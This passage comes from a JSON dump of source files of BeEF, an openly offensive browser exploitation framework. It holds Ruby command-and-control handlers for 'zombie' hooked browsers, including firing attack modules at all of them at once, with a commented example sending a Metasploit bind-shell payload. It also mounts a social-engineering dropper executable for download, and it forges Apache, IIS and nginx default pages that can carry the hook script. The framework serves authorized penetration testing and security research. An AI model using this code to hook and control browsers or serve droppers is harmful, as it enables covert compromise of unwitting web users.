=> {\n              'online' => online_hooks,\n              'offline' => offline_hooks\n            }\n          }\n          output.to_json\n        end\n\n        get '/:session/delete' do\n          hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first\n          error 401 if hb.nil?\n\n          details = BeEF::Core::Models::BrowserDetails.where(session_id: hb.session)\n          details.destroy_all\n\n          logs = BeEF::Core::Models::Log.where(hooked_browser_id: hb.id)\n          logs.destroy_all\n\n          commands = BeEF::Core::Models::Command.where(hooked_browser_id: hb.id)\n          commands.destroy_all\n\n          results = BeEF::Core::Models::Result.where(hooked_browser_id: hb.id)\n          results.destroy_all\n\n          begin\n            requester = BeEF::Core::Models::Http.where(hooked_browser_id: hb.id)\n            requester.destroy_all\n          rescue StandardError\n            # @todo why is this error swallowed?\n            # the requester module may not be enabled\n          end\n\n          begin\n            xssraysscans = BeEF::Core::Models::Xssraysscan.where(hooked_browser_id: hb.id)\n            xssraysscans.destroy_all\n\n            xssraysdetails = BeEF::Core::Models::Xssraysdetail.where(hooked_browser_id: hb.id)\n            xssraysdetails.destroy_all\n          rescue StandardError => e\n            # @todo why is this error swallowed?\n            # the xssraysscan module may not be enabled\n          end\n\n          hb.destroy\n        end\n\n        #\n        # @note returns all zombies\n        #\n        get '/all' do\n          hbs = []\n          BeEF::Core::Models::HookedBrowser.all.each do |hook|\n            hbs << get_hb_details(hook)\n          end\n\n          output = {\n            'count' => hbs.length,\n            'zombies' => hbs\n          }\n\n          output.to_json\n        end\n\n        #\n        # @note Get all the hooked browser details (plugins enabled, technologies enabled, cookies)\n        #\n        get '/:session' do\n          hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first\n          error 401 if hb.nil?\n\n          details = BeEF::Core::Models::BrowserDetails.where(session_id: hb.session)\n          result = {}\n          details.each do |property|\n            result[property.detail_key] = property.detail_value\n          end\n          result.to_json\n        end\n\n        # useful when you inject the BeEF hook in MITM situations (see MITMf) and you want to feed back\n        # to BeEF a more accurate OS type/version and architecture information\n        post '/update/:session' do\n          body = JSON.parse request.body.read\n          os = body['os']\n          os_version = body['os_version']\n          arch = body['arch']\n\n          hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first\n          error 401 if hb.nil?\n\n          BeEF::Core::Models::BrowserDetails.where(session_id: hb.session, detail_key: 'host.os.name').destroy\n          BeEF::Core::Models::BrowserDetails.where(session_id: hb.session, detail_key: 'host.os.version').destroy\n          # BeEF::Core::Models::BrowserDetails.first(:session_id => hb.session, :detail_key => 'Arch').destroy\n\n          BeEF::Core::Models::BrowserDetails.create(session_id: hb.session, detail_key: 'host.os.name', detail_value: os)\n          BeEF::Core::Models::BrowserDetails.create(session_id: hb.session, detail_key: 'host.os.version', detail_value: os_version)\n          BeEF::Core::Models::BrowserDetails.create(session_id: hb.session, detail_key: 'Arch', detail_value: arch)\n\n          # TODO: if there where any ARE rules defined for this hooked browser,\n          # after updating OS/arch, force a retrigger of the rule.\n          { 'success' => true }.to_json\n        end\n\n        def hb_to_json(hbs)\n          hbs_hash = {}\n          i = 0\n          hbs.each do |hb|\n            hbs_hash[i] = get_hb_details(hb)\n            i += 1\n          end\n          hbs_hash\n        end\n\n        def get_hb_details(hb)\n          details = BeEF::Core::Models::BrowserDetails\n\n          {\n            'id' => hb.id,\n            'session' => hb.session,\n            'name' => details.get(hb.session, 'browser.name'),\n            'version' => details.get(hb.session, 'browser.version'),\n            'platform' => details.get(hb.session, 'browser.platform'),\n            'os' => details.get(hb.session, 'host.os.name'),\n            'os_version' => details.get(hb.session, 'host.os.version'),\n            'hardware' => details.get(hb.session, 'hardware.type'),\n            'ip' => hb.ip,\n            'domain' => details.get(hb.session, 'browser.window.hostname'),\n            'port' => hb.port.to_s,\n            'page_uri' => details.get(hb.session, 'browser.window.uri'),\n            'firstseen' => hb.firstseen,\n            'lastseen' => hb.lastseen,\n            'date_stamp' => details.get(hb.session, 'browser.date.datestamp'),\n            'city' => details.get(hb.session, 'location.city'),\n            'country' => details.get(hb.session, 'location.country'),\n            'country_code' => details.get(hb.session, 'location.country.isocode')\n          }\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/rest/handlers/logs.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    module Rest\n      class Logs < BeEF::Core::Router::Router\n        config = BeEF::Core::Configuration.instance\n\n        before do\n          error 401 unless params[:token] == config.get('beef.api_token')\n          halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)\n          headers 'Content-Type' => 'application/json; charset=UTF-8',\n                  'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0'\n        end\n\n        #\n        # @note Get all global logs\n        #\n        get '/' do\n          logs = BeEF::Core::Models::Log.all\n          logs_to_json(logs)\n        end\n\n        #\n        # @note Get all global logs\n        #\n        get '/rss' do\n          logs = BeEF::Core::Models::Log.all\n          headers 'Content-Type' => 'text/xml; charset=UTF-8',\n                  'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0'\n          logs_to_rss logs\n        end\n\n        #\n        # @note Get hooked browser logs\n        #\n        get '/:session' do\n          hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first\n          error 401 if hb.nil?\n\n          logs = BeEF::Core::Models::Log.where(hooked_browser_id: hb.id)\n          logs_to_json(logs)\n        end\n\n        private\n\n        def logs_to_json(logs)\n          logs_json = []\n          count = logs.length\n\n          logs.each do |log|\n            logs_json << {\n              'id' => log.id.to_i,\n              'date' => log.date.to_s,\n              'event' => log.event.to_s,\n              'logtype' => log.logtype.to_s,\n              'hooked_browser_id' => log.hooked_browser_id.to_s\n            }\n          end\n\n          unless logs_json.empty?\n            {\n              'logs_count' => count,\n              'logs' => logs_json\n            }.to_json\n          end\n        end\n\n        def logs_to_rss(logs)\n          rss = RSS::Maker.make('atom') do |maker|\n            maker.channel.author  = 'BeEF'\n            maker.channel.updated = Time.now.to_s\n            maker.channel.about   = 'https://beefproject.com/'\n            maker.channel.title   = 'BeEF Event Logs'\n\n            logs.reverse.each do |log|\n              maker.items.new_item do |item|\n                item.id      = log.id.to_s\n                item.title   = \"[#{log.logtype}] #{log.event}\"\n                item.updated = log.date.to_s\n              end\n            end\n          end\n          rss.to_s\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/rest/handlers/modules.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    module Rest\n      class Modules < BeEF::Core::Router::Router\n        config = BeEF::Core::Configuration.instance\n\n        before do\n          error 401 unless params[:token] == config.get('beef.api_token')\n          halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)\n          headers 'Content-Type' => 'application/json; charset=UTF-8',\n                  'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0'\n        end\n\n        #\n        # @note Get all available and enabled modules (id, name, category)\n        #\n        get '/' do\n          mods = BeEF::Core::Models::CommandModule.all\n\n          mods_array = []\n\n          mods.each do |mod|\n            modk = BeEF::Module.get_key_by_database_id(mod.id)\n            next unless BeEF::Module.is_enabled(modk)\n\n            mods_array << {\n              'id' => mod.id,\n              'class' => config.get(\"beef.module.#{modk}.class\"),\n              'name' => config.get(\"beef.module.#{modk}.name\"),\n              'category' => config.get(\"beef.module.#{modk}.category\")\n            }\n          end\n          mods_array.to_json\n        end\n\n        get '/search/:mod_name' do\n          mod = BeEF::Core::Models::CommandModule.where(name: params[:mod_name]).first\n          result = {}\n          result = { 'id' => mod.id } unless mod.nil?\n          result.to_json\n        end\n\n        #\n        # @note Get the module definition (info, options)\n        #\n        get '/:mod_id' do\n          cmd = BeEF::Core::Models::CommandModule.find(params[:mod_id])\n          error 404 if cmd.nil?\n          modk = BeEF::Module.get_key_by_database_id(params[:mod_id])\n          error 404 if modk.nil?\n\n          # TODO: check if it's possible to also retrieve the TARGETS supported\n          {\n            'name' => cmd.name,\n            'description' => config.get(\"beef.module.#{cmd.name}.description\"),\n            'category' => config.get(\"beef.module.#{cmd.name}.category\"),\n            'options' => BeEF::Module.get_options(modk) # TODO: => get also payload options..get_payload_options(modk,text)\n          }.to_json\n        end\n\n        # @note Get the module result for the specific executed command\n        #\n        # Example with the Alert Dialog\n        # GET /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86/1?token=0a931a461d08b86bfee40df987aad7e9cfdeb050 HTTP/1.1\n        # Host: 127.0.0.1:3000\n        #===response (snip)===\n        # HTTP/1.1 200 OK\n        # Content-Type: application/json; charset=UTF-8\n        #\n        # {\"date\":\"1331637093\",\"data\":\"{\\\"data\\\":\\\"text=michele\\\"}\"}\n        #\n        get '/:session/:mod_id/:cmd_id' do\n          hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first\n          error 401 if hb.nil?\n          cmd = BeEF::Core::Models::Command.where(hooked_browser_id: hb.id,\n                                                  command_module_id: params[:mod_id], id: params[:cmd_id]).first\n          error 404 if cmd.nil?\n          results = BeEF::Core::Models::Result.where(hooked_browser_id: hb.id, command_id: cmd.id)\n          error 404 if results.nil?\n\n          results_hash = {}\n          i = 0\n          results.each do |result|\n            results_hash[i] = {\n              'date' => result.date,\n              'data' => result.data\n            }\n            i += 1\n          end\n          results_hash.to_json\n        end\n\n        #\n        # @note Fire a new command module to the specified hooked browser.\n        # Return the command_id of the executed module if it has been fired correctly.\n        # Input must be specified in JSON format\n        #\n        # +++ Example with the Alert Dialog: +++\n        # POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1\n        # Host: 127.0.0.1:3000\n        # Content-Type: application/json; charset=UTF-8\n        # Content-Length: 18\n        #\n        # {\"text\":\"michele\"}\n        #===response (snip)===\n        # HTTP/1.1 200 OK\n        # Content-Type: application/json; charset=UTF-8\n        # Content-Length: 35\n        #\n        # {\"success\":\"true\",\"command_id\":\"1\"}\n        #\n        # +++ Example with a Metasploit module (Adobe FlateDecode Stream Predictor 02 Integer Overflow) +++\n        # +++ note that in this case we cannot query BeEF/Metasploit if module execution was successful or not.\n        # +++ this is why there is \"command_id\":\"not_available\" in the response\n        # POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/236?token=83f13036060fd7d92440432dd9a9b5e5648f8d75 HTTP/1.1\n        # Host: 127.0.0.1:3000\n        # Content-Type: application/json; charset=UTF-8\n        # Content-Length: 81\n        #\n        # {\"SRVPORT\":\"3992\", \"URIPATH\":\"77345345345dg\", \"PAYLOAD\":\"generic/shell_bind_tcp\"}\n        #===response (snip)===\n        # HTTP/1.1 200 OK\n        # Content-Type: application/json; charset=UTF-8\n        # Content-Length: 35\n        #\n        # {\"success\":\"true\",\"command_id\":\"not_available\"}\n        #\n        post '/:session/:mod_id' do\n          hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first\n          error 401 if hb.nil?\n          modk = BeEF::Module.get_key_by_database_id(params[:mod_id])\n          error 404 if modk.nil?\n\n          request.body.rewind\n          begin\n            data = JSON.parse request.body.read\n            options = []\n            data.each { |k, v| options.push({ 'name' => k, 'value' => v }) }\n            exec_results = BeEF::Module.execute(modk, params[:session], options)\n            exec_results.nil? ? '{\"success\":\"false\"}' : '{\"success\":\"true\",\"command_id\":\"' + exec_results.to_s + '\"}'\n          rescue StandardError\n            print_error \"Invalid JSON input for module '#{params[:mod_id]}'\"\n            error 400 # Bad Request\n          end\n        end\n\n        #\n        # @note Fire a new command module to multiple hooked browsers.\n        # Returns the command IDs of the launched module, or 0 if firing got issues.\n        # Use \"hb_ids\":[\"ALL\"] to run on all hooked browsers\n        # Use \"hb_ids\":[\"ALL_ONLINE\"] to run on all hooked browsers currently online\n        #\n        # POST request body example (for modules that don't need parameters, just remove \"mod_params\")\n        #  {\n        #    \"mod_id\":1,\n        #    \"mod_params\":{\n        #       \"question\":\"are you hooked?\"\n        #     },\n        #    \"hb_ids\":[1,2]\n        #   }\n        #\n        # response example: {\"1\":16,\"2\":17}\n        #\n        # curl example (alert module with custom text, 2 hooked browsers)):\n        #\n        # curl -H \"Content-Type: application/json; charset=UTF-8\" -d '{\"mod_id\":110,\"mod_params\":{\"text\":\"mucci?\"},\"hb_ids\":[1,2]}'\n        #-X POST http://127.0.0.1:3000/api/modules/multi_browser?token=2316d82702b83a293e2d46a0886a003a6be0a633\n        #\n        post '/multi_browser' do\n          request.body.rewind\n          begin\n            body = JSON.parse request.body.read\n\n            modk = BeEF::Module.get_key_by_database_id body['mod_id']\n            error 404 if modk.nil?\n            mod_params = []\n\n            unless body['mod_params'].nil?\n              body['mod_params'].each do |k, v|\n                mod_params.push({ 'name' => k, 'value' => v })\n              end\n            end\n\n            hb_ids = body['hb_ids']\n            results = {}\n\n            # run on all hooked browsers currently online?\n            if hb_ids.first =~ /\\Aall_online\\z/i\n              hb_ids = []\n              BeEF::Core::Models::HookedBrowser.where(\n                :lastseen.gte => (Time.new.to_i - 15)\n              ).each { |hb| hb_ids << hb.id }\n            # run on all hooked browsers?\n            elsif hb_ids.first =~ /\\Aall\\z/i\n              hb_ids = []\n              BeEF::Core::Models::HookedBrowser.all.each { |hb| hb_ids << hb.id }\n            end\n\n            # run modules\n            hb_ids.each do |hb_id|\n              hb = BeEF::Core::Models::HookedBrowser.find(hb_id)\n              if hb.nil?\n                results[hb_id] = 0\n                next\n              else\n                cmd_id = BeEF::Module.execute(modk, hb.session, mod_params)\n                results[hb_id] = cmd_id\n              end\n            end\n            results.to_json\n          rescue StandardError\n            print_error 'Invalid JSON input passed to endpoint /api/modules/multi_browser'\n            error 400 # Bad Request\n          end\n        end\n\n        # @note Fire multiple command modules to a single hooked browser.\n        # Returns the command IDs of the launched modules, or 0 if firing got issues.\n        #\n        # POST request body example (for modules that don't need parameters, just pass an empty JSON object like {} )\n        # { \"hb\":\"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj\",\n        #    \"modules\": [\n        #        {    # test_return_long_string module with custom input\n        #             \"mod_id\":99,\n        #              \"mod_input\":[{\"repeat\":\"10\"},{\"repeat_string\":\"ABCDE\"}]\n        #        },\n        #        {   # prompt_dialog module with custom input\n        #            \"mod_id\":116,\n        #            \"mod_input\":[{\"question\":\"hooked?\"}]\n        #        },\n        #        {   # alert_dialog module without input (using default input, if any)\n        #            \"mod_id\":128,\n        #            \"mod_input\":[]\n        #        }\n        #    ]\n        #  }\n        # response example: {\"99\":7,\"116\":8,\"128\":0} # <- This means the alert_dialog had issues (see return value 0)\n        #\n        # curl example (test_return_long_string and prompt_dialog module with custom inputs)):\n        #\n        # curl -H \"Content-Type: application/json; charset=UTF-8\" -d '{\"hb\":\"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj\",\n        # \"modules\":[{\"mod_id\":99,\"mod_input\":[{\"repeat\":\"10\"},{\"repeat_string\":\"ABCDE\"}]},{\"mod_id\":116,\"mod_input\":[{\"question\":\"hooked?\"}]},{\"mod_id\":128,\"mod_input\":[]}]}'\n        #  -X POST http://127.0.0.1:3000/api/modules/multi_module?token=e640483ae9bca2eb904f003f27dd4bc83936eb92\n        #\n        post '/multi_module' do\n          request.body.rewind\n          begin\n            body = JSON.parse request.body.read\n            hb = BeEF::Core::Models::HookedBrowser.where(session: body['hb']).first\n            error 401 if hb.nil?\n\n            results = {}\n            unless body['modules'].nil?\n              body['modules'].each do |mod|\n                mod_id = mod['mod_id']\n                mod_k = BeEF::Module.get_key_by_database_id mod['mod_id']\n                if mod_k.nil?\n                  results[mod_id] = 0\n                  next\n                else\n                  mod_params = []\n                  mod['mod_input'].each do |input|\n                    input.each do |k, v|\n                      mod_params.push({ 'name' => k, 'value' => v })\n                    end\n                  end\n                  cmd_id = BeEF::Module.execute(mod_k, hb.session, mod_params)\n                  results[mod_id] = cmd_id\n                end\n              end\n            end\n            results.to_json\n          rescue StandardError\n            print_error 'Invalid JSON input passed to endpoint /api/modules/multi'\n            error 400 # Bad Request\n          end\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/rest/handlers/server.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    module Rest\n      class Server < BeEF::Core::Router::Router\n        config = BeEF::Core::Configuration.instance\n        http_server = BeEF::Core::Server.instance\n\n        before do\n          error 401 unless params[:token] == config.get('beef.api_token')\n          halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)\n          headers 'Content-Type' => 'application/json; charset=UTF-8',\n                  'Pragma' => 'no-cache',\n                  'Cache-Control' => 'no-cache',\n                  'Expires' => '0'\n        end\n\n        # @note Binds a local file to a specified path in BeEF's web server\n        # Note: 'local_file' expects a file from the /extensions/social_engineering/droppers directory.\n        # Example usage:\n        # curl -H \"Content-Type: application/json; charset=UTF-8\" -d '{\"mount\":\"/dropper\",\"local_file\":\"dropper.exe\"}'\n        # -X POST -v http://10.0.60.10/api/server/bind?token=xyz\n\n        post '/bind' do\n          request.body.rewind\n          begin\n            data = JSON.parse request.body.read\n            mount = data['mount']\n            local_file = data['local_file']\n\n            droppers_dir = \"#{File.expand_path(__dir__)}/../../../../extensions/social_engineering/droppers/\"\n\n            if File.exist?(droppers_dir + local_file) && Dir.entries(droppers_dir).include?(local_file)\n              f_ext = File.extname(local_file).gsub('.', '')\n              f_ext = nil if f_ext.empty?\n              BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind(\"/extensions/social_engineering/droppers/#{local_file}\", mount, f_ext)\n              status 200\n            else\n              halt 400\n            end\n          rescue StandardError\n            error 400\n          end\n        end\n\n        get '/mounts' do\n          { 'mounts' => http_server.mounts }.to_json\n        end\n\n        get '/version' do\n          { 'version' => config.get('beef.version') }.to_json\n        end\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/router/api.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nmodule BeEF\n  module Core\n    module Router\n      module RegisterRouterHandler\n        def self.mount_handler(server)\n          server.mount('/', BeEF::Core::Router::Router.new)\n        end\n      end\n\n      BeEF::API::Registrar.instance.register(BeEF::Core::Router::RegisterRouterHandler, BeEF::API::Server, 'mount_handler')\n    end\n  end\nend\n"
  },
  {
    "path": "core/main/router/router.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nmodule BeEF\n  module Core\n    module Router\n      # @note This is the main Router parent class.\n      # @note All the HTTP handlers registered on BeEF will extend this class.\n      class Router < Sinatra::Base\n        config = BeEF::Core::Configuration.instance\n\n        configure do\n          set :show_exceptions, false\n\n          # Configure Rack::Protection::HostAuthorization.\n          # Allow Rack development defaults and dynamically permit the public host\n          # defined by beef.http.public.host to prevent \"Host not permitted\" errors.\n          permitted = [\n            '.localhost',\n            '.test',\n            IPAddr.new('0.0.0.0/0'),\n            IPAddr.new('::/0')\n          ]\n          public_host = config.get('beef.http.public.host').to_s.strip\n          permitted << public_host unless public_host.empty?\n          set :host_authorization, { permitted_hosts: permitted }\n        end\n\n        # @note Override default 404 HTTP response\n        not_found do\n          error_page_404\n        end\n\n        before do\n          # @note Override Server HTTP response header\n          headers response_headers\n\n          # @note If CORS is enabled, expose the appropriate headers\n          if config.get('beef.http.restful_api.allow_cors')\n            allowed_origins = config.get('beef.http.restful_api.cors_allowed_origins')\n            if allowed_origins\n              headers 'Access-Control-Allow-Origin' => allowed_origins\n            end\n            headers 'Access-Control-Allow-Methods' => 'POST, GET'\n\n            # Responses to preflight OPTIONS requests need to respond with HTTP 200\n            # and be able to handle requests with a JSON content-type\n            if request.request_method == 'OPTIONS'\n              headers 'Access-Control-Allow-Headers' => 'Content-Type'\n              halt 200\n            end\n          end\n        end\n\n        # @note Default root page\n        get '/' do\n          index_page\n        end\n\n        private\n\n        def response_headers\n          config = BeEF::Core::Configuration.instance\n\n          default_headers = {\n            'Server' => '',\n            'Content-Type' => 'text/html'\n          }\n\n          return default_headers unless config.get('beef.http.web_server_imitation.enable')\n\n          case config.get('beef.http.web_server_imitation.type')\n          when 'apache'\n            {\n              'Server' => 'Apache/2.2.3 (CentOS)',\n              'Content-Type' => 'text/html; charset=UTF-8'\n            }\n          when 'iis'\n            {\n              'Server' => 'Microsoft-IIS/6.0',\n              'X-Powered-By' => 'ASP.NET',\n              'Content-Type' => 'text/html; charset=UTF-8'\n            }\n          when 'nginx'\n            {\n              'Server' => 'nginx',\n              'Content-Type' => 'text/html'\n            }\n          else\n            print_error 'Configuration error in beef.http.web_server_imitation.type!'\n            print_more 'Supported values are: apache, iis, nginx.'\n            default_headers\n          end\n        end\n\n        def index_page\n          config = BeEF::Core::Configuration.instance\n\n          return '' unless config.get('beef.http.web_server_imitation.enable')\n\n          bp = config.get 'beef.extension.admin_ui.base_path'\n          case config.get('beef.http.web_server_imitation.type')\n          when 'apache'\n            '<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\" \"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\">' \\\n            '<head>' \\\n            '<title>Apache HTTP Server Test Page powered by CentOS</title>' \\\n            '<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />' \\\n            '<style type=\"text/css\">' \\\n            'body {' \\\n            'background-color: #fff; ' \\\n            'color: #000;' \\\n            'font-size: 0.9em;' \\\n            'font-family: sans-serif,helvetica;' \\\n            'margin: 0;' \\\n            'padding: 0; ' \\\n            '}          ' \\\n            ':link {        ' \\\n            'color: #0000FF;    ' \\\n            '}                     ' \\\n            ':visited {               ' \\\n            'color: #0000FF;             ' \\\n            '}                              ' \\\n            'a:hover {                         ' \\\n            'color: #3399FF;                      ' \\\n            '}                                       ' \\\n            'h1 {                                       ' \\\n            \"\\ttext-align: center;                          \" \\\n            \"\\tmargin: 0;                                      \" \\\n            \"\\tpadding: 0.6em 2em 0.4em;                          \" \\\n            \"\\tbackground-color: #3399FF;\" \\\n            \"\\tcolor: #ffffff;       \" \\\n            \"\\tfont-weight: normal; \" \\\n            \"\\tfont-size: 1.75em; \" \\\n            \"\\tborder-bottom: 2px solid #000; \" \\\n            '}        ' \\\n            'h1 strong {' \\\n            'font-weight: bold;  ' \\\n            '}          ' \\\n            'h2 {          ' \\\n            \"\\tfont-size: 1.1em;\" \\\n            'font-weight: bold;    ' \\\n            '}                                      ' \\\n            '.content {                       ' \\\n            \"\\tpadding: 1em 5em;                             \" \\\n            '}                                        ' \\\n            '.content-columns {                                     ' \\\n            \"\\t/* Setting relative positioning allows for    \" \\\n            \"\\tabsolute positioning for sub-classes */                       \" \\\n            \"\\tposition: relative;                                               \" \\\n            \"\\tpadding-top: 1em;                                                     \" \\\n            '}                         ' \\\n            '.content-column-left { ' \\\n            \"\\t/* Value for IE/Win; will be overwritten for other browsers */\" \\\n            \"\\twidth: 47%; \" \\\n            \"\\tpadding-right: 3%; \" \\\n            \"\\tfloat: left;          \" \\\n            \"\\tpadding-bottom: 2em;     \" \\\n            '}                            ' \\\n            '.content-column-right {         ' \\\n            \"\\t/* Values for IE/Win; will be overwritten for other browsers */\" \\\n            \"\\twidth: 47%;     \" \\\n            \"\\tpadding-left: 3%;  \" \\\n            \"\\tfloat: left;        \" \\\n            \"\\tpadding-bottom: 2em;   \" \\\n            '}                           ' \\\n            '.content-columns>.content-column-left, .content-columns>.content-column-right {' \\\n            \"\\t/* Non-IE/Win */\" \\\n            '}                  ' \\\n            'img {                 ' \\\n            \"\\tborder: 2px solid #fff; \" \\\n            \"\\tpadding: 2px;              \" \\\n            \"\\tmargin: 2px;               \" \\\n            '}                           ' \\\n            'a:hover img {               ' \\\n            \"\\tborder: 2px solid #3399FF;    \" \\\n            '}                                 ' \\\n            '</style>                             ' \\\n            '</head>                                 ' \\\n            '<body>                                     ' \\\n            '<h1>Apache 2 Test Page<br><font size=\"-1\"><strong>powered by</font> CentOS</strong></h1>' \\\n            '<div class=\"content\"><div class=\"content-middle\">' \\\n            '<p>This page is used to test the proper operation of the Apache HTTP server after it has been installed. If you can read this page it means that the Apache HTTP server installed at this site is working properly.</p>' \\\n            '</div>' \\\n            '<hr />' \\\n            '<div class=\"content-columns\">' \\\n            '<div class=\"content-column-left\"> ' \\\n            '<h2>If you are a member of the general public:</h2>' \\\n            '<p>The fact that you are seeing this page indicates that the website you just visited is either experiencing problems or is undergoing routine maintenance.</p>' \\\n            \"<p>If you would like to let the administrators of this website know that you've seen this page instead of the page you expected, you should send them e-mail. In general, mail sent to the name \\\"webmaster\\\" and directed to the website's domain should reach the appropriate person.</p> \" \\\n            '<p>For example, if you experienced problems while visiting www.example.com, you should send e-mail to \"webmaster@example.com\".</p>' \\\n            '</div>' \\\n            '<div class=\"content-column-right\">' \\\n            '<h2>If you are the website administrator:</h2>' \\\n            '<p>You may now add content to the directory <tt>/var/www/html/</tt>. Note that until you do so, people visiting your website will see this page and not your content. To prevent this page from ever being used, follow the instructions in the file <tt>/etc/httpd/conf.d/welcome.conf</tt>.</p>' \\\n            '<p>You are free to use the images below on Apache and CentOS Linux powered HTTP servers.  Thanks for using Apache and CentOS!</p>' \\\n            \"<p><a href=\\\"http://httpd.apache.org/\\\"><img src=\\\"#{bp}/media/images/icons/apache_pb.gif\\\" alt=\\\"[ Powered by Apache ]\\\"/></a> <a href=\\\"http://www.centos.org/\\\"><img src=\\\"#{bp}/media/images/icons/powered_by_rh.png\\\" alt=\\\"[ Powered by CentOS Linux ]\\\" width=\\\"88\\\" height=\\\"31\\\" /></a></p>\" \\\n            '</div>' \\\n            '</div>' \\\n            '</div>' \\\n            ' <div class=\"content\">' \\\n            '<div class=\"content-middle\"><h2>About CentOS:</h2><b>The Community ENTerprise Operating System</b> (CentOS) is an Enterprise-class Linux Distribution derived from sources freely provided to the public by a prominent North American Enterprise Linux vendor.  CentOS conforms fully with the upstream vendors redistribution policy and aims to be 100% binary compatible. (CentOS mainly changes packages to remove upstream vendor branding and artwork.)  The CentOS Project is the organization that builds CentOS.</p>' \\\n            '<p>For information on CentOS please visit the <a href=\"http://www.centos.org/\">CentOS website</a>.</p>' \\\n            '<p><h2>Note:</h2><p>CentOS is an Operating System and it is used to power this website; however, the webserver is owned by the domain owner and not the CentOS Project.  <b>If you have issues with the content of this site, contact the owner of the domain, not the CentOS project.</b>' \\\n            \"<p>Unless this server is on the CentOS.org domain, the CentOS Project doesn't have anything to do with the content on this webserver or any e-mails that directed you to this site.</p> \" \\\n            '<p>For example, if this website is www.example.com, you would find the owner of the example.com domain at the following WHOIS server:</p>' \\\n            '<p><a href=\"http://www.internic.net/whois.html\">http://www.internic.net/whois.html</a></p>' \\\n            '</div>' \\\n            '</div>' +\n              (\"<script src='#{config.get('beef.http.hook_file')}'></script>\" if config.get('beef.http.web_server_imitation.hook_root')).to_s +\n              '</body>' \\\n              '</html>'\n          when 'iis'\n            '<html>' \\\n            '<head>' \\\n            '<meta HTTP-EQUIV=\"Content-Type\" Content=\"text/html; charset=Windows-1252\">' \\\n            '<title ID=titletext>Under Construction</title>' \\\n            '</head>' \\\n            '<body bgcolor=white>' \\\n            '<table>' \\\n            '<tr>' \\\n            '<td ID=tableProps width=70 valign=top align=center>' \\\n            \"<img ID=pagerrorImg src=\\\"#{bp}/media/images/icons/pagerror.gif\\\" width=36 height=48>\" \\\n            '<td ID=tablePropsWidth width=400>' \\\n            '<h1 ID=errortype style=\"font:14pt/16pt verdana; color:#4e4e4e\">' \\\n            '<P ID=Comment1><!--Problem--><P ID=\"errorText\">Under Construction</h1>' \\\n            '<P ID=Comment2><!--Probable causes:<--><P ID=\"errordesc\"><font style=\"font:9pt/12pt verdana; color:black\">' \\\n            'The site you are trying to view does not currently have a default page. It may be in the process of being upgraded and configured.' \\\n            '<P ID=term1>Please try this site again later. If you still experience the problem, try contacting the Web site administrator.' \\\n            '<hr size=1 color=\"blue\">' \\\n            '<P ID=message1>If you are the Web site administrator and feel you have received this message in error, please see &quot;Enabling and Disabling Dynamic Content&quot; in IIS Help.' \\\n            '<h5 ID=head1>To access IIS Help</h5>' \\\n            '<ol>' \\\n            '<li ID=bullet1>Click <b>Start</b>, and then click <b>Run</b>.' \\\n            '<li ID=bullet2>In the <b>Open</b> text box, type <b>inetmgr</b>. IIS Manager appears.' \\\n            '<li ID=bullet3>From the <b>Help</b> menu, click <b>Help Topics</b>.' \\\n            '<li ID=bullet4>Click <b>Internet Information Services</b>.</ol>' \\\n            '</td>' \\\n            '</tr>' \\\n            '</table>' +\n              (\"<script src='#{config.get('beef.http.hook_file')}'></script>\" if config.get('beef.http.web_server_imitation.hook_root')).to_s +\n              '</body>' \\\n              '</html>'\n          when 'nginx'\n            \"<!DOCTYPE html>\\n\" \\\n            \"<html>\\n\" 